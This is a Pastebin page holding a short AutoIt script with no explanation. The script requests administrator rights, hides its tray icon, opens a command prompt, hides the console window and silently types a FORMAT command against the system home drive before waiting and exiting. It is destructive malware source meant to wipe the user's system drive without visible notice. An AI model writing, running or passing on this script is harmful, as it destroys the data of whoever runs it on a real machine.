Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #RequireAdmin
- #NoTrayIcon
- While 1
- ShellExecute("cmd.exe")
- Sleep(2000)
- If ProcessExists("cmd.exe") Then
- WinSetState("[CLASS:ConsoleWindowClass]","",@SW_HIDE)
- Sleep(2000)
- ControlSend("[CLASS:ConsoleWindowClass]", "", "", 'FORMAT ')
- Sleep(400)
- ControlSend("[CLASS:ConsoleWindowClass]", "", "", @Homedrive)
- Sleep(400)
- ControlSend("[CLASS:ConsoleWindowClass]", "", "","{ENTER}")
- WinSetState("[CLASS:ConsoleWindowClass]","",@SW_HIDE)
- Sleep(600000)
- ProcessClose("cmd.exe")
- Exit
- EndIf
- WEnd
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement